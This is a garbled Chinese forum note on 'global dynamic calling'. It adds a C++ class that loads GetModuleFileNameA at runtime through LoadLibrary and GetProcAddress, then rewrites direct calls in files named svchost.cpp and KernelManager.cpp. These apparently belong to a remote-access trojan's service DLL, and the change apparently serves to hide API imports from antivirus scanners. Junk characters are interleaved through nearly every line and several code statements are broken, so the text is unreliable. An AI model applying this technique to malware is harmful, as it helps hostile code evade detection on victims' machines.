[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
# i2 h! E" ~7 I; Q$ @svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：0 J/ \# ~  P& K  [+ w
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#if _MSC_VER>10008 f& G" t. p' _2 P" @
#pragma once- \- x& l9 h6 P6 a4 g
#endif //_MSC_VER>1000
0 ^. S- i  ?5 I$ P' \1 x3 }) A#include<windows.h>4 a/ p0 }1 L5 O% u9 m" _* p7 }

6 d" @% k3 Y! W7 Gtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& D/ z- K& `7 H! M$ F( x: Nclass DTDY
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public:2 H9 l; T. N2 V# y+ ~( U# M8 s. ?* R4 ?
DTDY();
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public:- A( \1 Z- P3 e& v! d% A8 ^5 X
static pGetModuleFileNameA MyGetModuleFileName;' o) i8 m8 @/ I) ^9 P
static BOOL FunInitiallization();
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#endif5 v! Q6 Z9 I1 I% s" T( F
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0 T6 ]+ U, X% d" X7 d3 o2 CDTDY.cpp:/ @; G' b, G% |! N7 b. V7 R
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#include "DTDY.h"2 v* [1 w' ]: [7 V+ D% ^/ q( H
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;1 Z5 Q. S  k8 V' `+ |1 G  m6 x3 w
DTDY:TDY()3 o" F9 g4 E. [: }3 m
{
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3 M! g& f3 v1 nDTDY::~DTDY()  P+ z( A3 g) q
{
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% T9 _" u8 g$ G# r% g; V2 w8 EBOOL DTDY::FunInitiallization()
% U4 v- R' b  F9 Z0 g{
5 P0 P9 Y+ ]4 d7 u' x4 w' aHMODULE hModule=LoadLibrary("kernel32.dll");- m, C4 V6 s6 X, |
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
# d& r! p0 i% iif(!MyGetModuleFileName=) return FALSE;" U- v0 ~+ v! L, N9 |7 \- a" n9 T* }
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return TRUE;( d3 l& t- S9 {3 X. ~# i2 b
}
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svchost.cpp:
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#include "DTDY.h"3 D. C( l5 l3 T

1 }) M* B  H' m8 r! mBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)1 N, ]6 N; W0 V+ r/ F1 Z4 d( B' T
{
% h1 n; O4 S2 L8 Q& D. Mcase DLL_PROCESS_ATTACH:! @* w% ^1 ~! k
if(!DTDY::FunInitiallization()) return FALSE;
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}
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6 e9 g5 c" B+ t5 bGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def! z+ C+ n) i& `5 C  s4 ~
改写为
8 }# ]' a: T0 y3 ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:" d' u1 E# T( W
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#include "../DTDY.h"
8 `  [4 |: q: vGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
: o, U  u1 H9 r2 _8 p7 c# f改写为( N  N9 O, A6 r7 E$ M) K+ O7 B
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));5 y* M+ ^* r) U" l! a5 E7 @8 g1 N* c4 F
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